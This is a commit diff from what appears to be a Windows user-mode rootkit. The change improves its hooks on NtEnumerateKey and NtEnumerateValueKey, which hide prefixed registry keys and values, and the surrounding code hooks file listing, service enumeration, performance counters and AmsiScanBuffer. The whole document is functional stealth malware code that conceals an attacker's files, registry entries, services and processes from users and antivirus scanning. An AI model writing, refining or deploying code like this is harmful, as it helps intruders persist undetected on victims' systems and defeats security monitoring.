@@ -22,6 +22,15 @@ static NT_PDHGETRAWCOUNTERARRAYW OriginalPdhGetRawCounterArrayW;
22
22
static NT_PDHGETFORMATTEDCOUNTERARRAYW OriginalPdhGetFormattedCounterArrayW ;
23
23
static NT_AMSISCANBUFFER OriginalAmsiScanBuffer ;
24
24
25
+ static DWORD TlsNtEnumerateKeyCacheKey ;
26
+ static DWORD TlsNtEnumerateKeyCacheIndex ;
27
+ static DWORD TlsNtEnumerateKeyCacheI ;
28
+ static DWORD TlsNtEnumerateKeyCacheCorrectedIndex ;
29
+ static DWORD TlsNtEnumerateValueKeyCacheKey ;
30
+ static DWORD TlsNtEnumerateValueKeyCacheIndex ;
31
+ static DWORD TlsNtEnumerateValueKeyCacheI ;
32
+ static DWORD TlsNtEnumerateValueKeyCacheCorrectedIndex ;
33
+
25
34
VOID InitializeHooks ()
26
35
{
27
36
DetourTransactionBegin ();
@@ -46,6 +55,15 @@ VOID InitializeHooks()
46
55
// EnumServiceGroupW and EnumServicesStatusExW from advapi32.dll access services.exe through RPC.
47
56
// There is no longer one single syscall wrapper function to hook, but multiple higher level functions.
48
57
// EnumServicesStatusA and EnumServicesStatusExA also implement the RPC, but do not seem to be used by any applications out there.
58
+
59
+ TlsNtEnumerateKeyCacheKey = TlsAlloc ();
60
+ TlsNtEnumerateKeyCacheIndex = TlsAlloc ();
61
+ TlsNtEnumerateKeyCacheI = TlsAlloc ();
62
+ TlsNtEnumerateKeyCacheCorrectedIndex = TlsAlloc ();
63
+ TlsNtEnumerateValueKeyCacheKey = TlsAlloc ();
64
+ TlsNtEnumerateValueKeyCacheIndex = TlsAlloc ();
65
+ TlsNtEnumerateValueKeyCacheI = TlsAlloc ();
66
+ TlsNtEnumerateValueKeyCacheCorrectedIndex = TlsAlloc ();
49
67
}
50
68
VOID UninitializeHooks ()
51
69
{
@@ -65,6 +83,15 @@ VOID UninitializeHooks()
65
83
UninstallHook (OriginalPdhGetFormattedCounterArrayW , HookedPdhGetFormattedCounterArrayW );
66
84
UninstallHook (OriginalAmsiScanBuffer , HookedAmsiScanBuffer );
67
85
DetourTransactionCommit ();
86
+
87
+ TlsFree (TlsNtEnumerateKeyCacheKey );
88
+ TlsFree (TlsNtEnumerateKeyCacheIndex );
89
+ TlsFree (TlsNtEnumerateKeyCacheI );
90
+ TlsFree (TlsNtEnumerateKeyCacheCorrectedIndex );
91
+ TlsFree (TlsNtEnumerateValueKeyCacheKey );
92
+ TlsFree (TlsNtEnumerateValueKeyCacheIndex );
93
+ TlsFree (TlsNtEnumerateValueKeyCacheI );
94
+ TlsFree (TlsNtEnumerateValueKeyCacheCorrectedIndex );
68
95
}
69
96
70
97
static VOID InstallHook (LPCSTR dll , LPCSTR function , LPVOID * originalFunction , LPVOID hookedFunction )
@@ -224,7 +251,6 @@ static NTSTATUS NTAPI HookedNtQueryDirectoryFile(HANDLE fileHandle, HANDLE event
224
251
if (GetFileType (fileHandle ) == FILE_TYPE_PIPE ) StrCpyW (fileDirectoryPath , L"\\\\.\\pipe\\" );
225
252
else GetPathFromHandle (fileHandle , fileDirectoryPath , MAX_PATH );
226
253
227
- // github issue #104
228
254
if (returnSingleEntry )
229
255
{
230
256
// When returning a single entry, skip until the first item is found that is not hidden.
@@ -336,43 +362,94 @@ static NTSTATUS NTAPI HookedNtQueryDirectoryFileEx(HANDLE fileHandle, HANDLE eve
336
362
}
337
363
static NTSTATUS NTAPI HookedNtEnumerateKey (HANDLE key , ULONG index , NT_KEY_INFORMATION_CLASS keyInformationClass , LPVOID keyInformation , ULONG keyInformationLength , PULONG resultLength )
338
364
{
339
- NTSTATUS status = OriginalNtEnumerateKey (key , index , keyInformationClass , keyInformation , keyInformationLength , resultLength );
365
+ if (keyInformationClass == KeyNodeInformation )
366
+ {
367
+ return OriginalNtEnumerateKey (key , index , keyInformationClass , keyInformation , keyInformationLength , resultLength );
368
+ }
369
+
370
+ HANDLE cacheKey = (HANDLE )TlsGetValue (TlsNtEnumerateKeyCacheKey );
371
+ ULONG cacheIndex = (ULONG )TlsGetValue (TlsNtEnumerateKeyCacheIndex );
372
+ ULONG cacheI = (ULONG )TlsGetValue (TlsNtEnumerateKeyCacheI );
373
+ ULONG cacheCorrectedIndex = (ULONG )TlsGetValue (TlsNtEnumerateKeyCacheCorrectedIndex );
374
+
375
+ ULONG i = 0 ;
376
+ ULONG correctedIndex = 0 ;
377
+
378
+ if (cacheKey == key && cacheIndex == index - 1 )
379
+ {
380
+ // This function was recently called the index - 1, so we can continue from the last known position.
381
+ // This increases performance from O(N^2) to O(N).
382
+ i = cacheI ;
383
+ correctedIndex = cacheCorrectedIndex + 1 ;
384
+ }
385
+
386
+ BYTE buffer [1024 ];
387
+ PNT_KEY_BASIC_INFORMATION basicInformation = (PNT_KEY_BASIC_INFORMATION )buffer ;
340
388
341
- // Implement hiding of registry keys by correcting the index in NtEnumerateKey.
342
- if (status == ERROR_SUCCESS && (keyInformationClass == KeyBasicInformation || keyInformationClass == KeyNameInformation ))
389
+ for (; i <= index ; correctedIndex ++ )
343
390
{
344
- for ( ULONG i = 0 , newIndex = 0 ; newIndex <= index && status == ERROR_SUCCESS ; i ++ )
391
+ if ( OriginalNtEnumerateKey ( key , correctedIndex , KeyBasicInformation , basicInformation , 1024 , resultLength ) != ERROR_SUCCESS )
345
392
{
346
- status = OriginalNtEnumerateKey (key , i , keyInformationClass , keyInformation , keyInformationLength , resultLength );
393
+ return OriginalNtEnumerateKey (key , correctedIndex , keyInformationClass , keyInformation , keyInformationLength , resultLength );
394
+ }
347
395
348
- if (!HasPrefix (KeyInformationGetName (keyInformation , keyInformationClass )))
349
- {
350
- newIndex ++ ;
351
- }
396
+ if (!HasPrefix (basicInformation -> Name ))
397
+ {
398
+ i ++ ;
352
399
}
353
400
}
354
401
355
- return status ;
402
+ correctedIndex -- ;
403
+
404
+ TlsSetValue (TlsNtEnumerateKeyCacheKey , key );
405
+ TlsSetValue (TlsNtEnumerateKeyCacheIndex , index );
406
+ TlsSetValue (TlsNtEnumerateKeyCacheI , i );
407
+ TlsSetValue (TlsNtEnumerateKeyCacheCorrectedIndex , correctedIndex );
408
+
409
+ return OriginalNtEnumerateKey (key , correctedIndex , keyInformationClass , keyInformation , keyInformationLength , resultLength );
356
410
}
357
411
static NTSTATUS NTAPI HookedNtEnumerateValueKey (HANDLE key , ULONG index , NT_KEY_VALUE_INFORMATION_CLASS keyValueInformationClass , LPVOID keyValueInformation , ULONG keyValueInformationLength , PULONG resultLength )
358
412
{
359
- NTSTATUS status = OriginalNtEnumerateValueKey (key , index , keyValueInformationClass , keyValueInformation , keyValueInformationLength , resultLength );
413
+ HANDLE cacheKey = (HANDLE )TlsGetValue (TlsNtEnumerateValueKeyCacheKey );
414
+ ULONG cacheIndex = (ULONG )TlsGetValue (TlsNtEnumerateValueKeyCacheIndex );
415
+ ULONG cacheI = (ULONG )TlsGetValue (TlsNtEnumerateValueKeyCacheI );
416
+ ULONG cacheCorrectedIndex = (ULONG )TlsGetValue (TlsNtEnumerateValueKeyCacheCorrectedIndex );
417
+
418
+ ULONG i = 0 ;
419
+ ULONG correctedIndex = 0 ;
360
420
361
- // Implement hiding of registry values by correcting the index in NtEnumerateValueKey.
362
- if (status == ERROR_SUCCESS && (keyValueInformationClass == KeyValueBasicInformation || keyValueInformationClass == KeyValueFullInformation ))
421
+ if (cacheKey == key && cacheIndex == index - 1 )
363
422
{
364
- for (ULONG i = 0 , newIndex = 0 ; newIndex <= index && status == ERROR_SUCCESS ; i ++ )
423
+ // This function was recently called the index - 1, so we can continue from the last known position.
424
+ // This increases performance from O(N^2) to O(N).
425
+ i = cacheI ;
426
+ correctedIndex = cacheCorrectedIndex + 1 ;
427
+ }
428
+
429
+ BYTE buffer [1024 ];
430
+ PNT_KEY_VALUE_BASIC_INFORMATION basicInformation = (PNT_KEY_VALUE_BASIC_INFORMATION )buffer ;
431
+
432
+ for (; i <= index ; correctedIndex ++ )
433
+ {
434
+ if (OriginalNtEnumerateValueKey (key , correctedIndex , KeyValueBasicInformation , basicInformation , 1024 , resultLength ) != ERROR_SUCCESS )
365
435
{
366
- status = OriginalNtEnumerateValueKey (key , i , keyValueInformationClass , keyValueInformation , keyValueInformationLength , resultLength );
436
+ return OriginalNtEnumerateValueKey (key , correctedIndex , keyValueInformationClass , keyValueInformation , keyValueInformationLength , resultLength );
437
+ }
367
438
368
- if (!HasPrefix (KeyValueInformationGetName (keyValueInformation , keyValueInformationClass )))
369
- {
370
- newIndex ++ ;
371
- }
439
+ if (!HasPrefix (basicInformation -> Name ))
440
+ {
441
+ i ++ ;
372
442
}
373
443
}
374
444
375
- return status ;
445
+ correctedIndex -- ;
446
+
447
+ TlsSetValue (TlsNtEnumerateValueKeyCacheKey , key );
448
+ TlsSetValue (TlsNtEnumerateValueKeyCacheIndex , index );
449
+ TlsSetValue (TlsNtEnumerateValueKeyCacheI , i );
450
+ TlsSetValue (TlsNtEnumerateValueKeyCacheCorrectedIndex , correctedIndex );
451
+
452
+ return OriginalNtEnumerateValueKey (key , correctedIndex , keyValueInformationClass , keyValueInformation , keyValueInformationLength , resultLength );
376
453
}
377
454
static BOOL WINAPI HookedEnumServiceGroupW (SC_HANDLE serviceManager , DWORD serviceType , DWORD serviceState , LPBYTE services , DWORD servicesLength , LPDWORD bytesNeeded , LPDWORD servicesReturned , LPDWORD resumeHandle , LPVOID reserved )
378
455
{
@@ -700,30 +777,6 @@ static VOID FileInformationSetNextEntryOffset(LPVOID fileInformation, FILE_INFOR
700
777
break ;
701
778
}
702
779
}
703
- static PWCHAR KeyInformationGetName (LPVOID keyInformation , NT_KEY_INFORMATION_CLASS keyInformationClass )
704
- {
705
- switch (keyInformationClass )
706
- {
707
- case KeyBasicInformation :
708
- return ((PNT_KEY_BASIC_INFORMATION )keyInformation )-> Name ;
709
- case KeyNameInformation :
710
- return ((PNT_KEY_NAME_INFORMATION )keyInformation )-> Name ;
711
- default :
712
- return NULL ;
713
- }
714
- }
715
- static PWCHAR KeyValueInformationGetName (LPVOID keyValueInformation , NT_KEY_VALUE_INFORMATION_CLASS keyValueInformationClass )
716
- {
717
- switch (keyValueInformationClass )
718
- {
719
- case KeyValueBasicInformation :
720
- return ((PNT_KEY_VALUE_BASIC_INFORMATION )keyValueInformation )-> Name ;
721
- case KeyValueFullInformation :
722
- return ((PNT_KEY_VALUE_FULL_INFORMATION )keyValueInformation )-> Name ;
723
- default :
724
- return NULL ;
725
- }
726
- }
727
780
static VOID FilterEnumServiceStatus (LPENUM_SERVICE_STATUSW services , LPDWORD servicesReturned )
728
781
{
729
782
for (DWORD i = 0 ; i < * servicesReturned ; i ++ )
@@ -791,18 +844,16 @@ static DWORD GetProcessIdFromPdhString(LPCWSTR str)
791
844
// Parses a process ID from this type of string:
792
845
// "pid_1234_luid_0x00000000_0x0000C9DE_phys_0_eng_0_engtype_3D"
793
846
794
- LPWSTR name = str ;
795
-
796
- if (!StrCmpNW (name , L"pid_" , 4 ))
847
+ if (!StrCmpNW (str , L"pid_" , 4 ))
797
848
{
798
- name = & name [4 ];
799
- PWSTR endIndex = StrStrW (name , L"_" );
849
+ str = & str [4 ];
850
+ PWSTR endIndex = StrStrW (str , L"_" );
800
851
if (endIndex )
801
852
{
802
853
WCHAR pidString [10 ];
803
854
804
- DWORD strLength = endIndex - name ;
805
- i_wmemcpy (pidString , name , strLength );
855
+ DWORD strLength = endIndex - str ;
856
+ i_wmemcpy (pidString , str , strLength );
806
857
pidString [strLength ] = L'\0' ;
807
858
808
859
return StrToIntW (pidString );
0 commit comments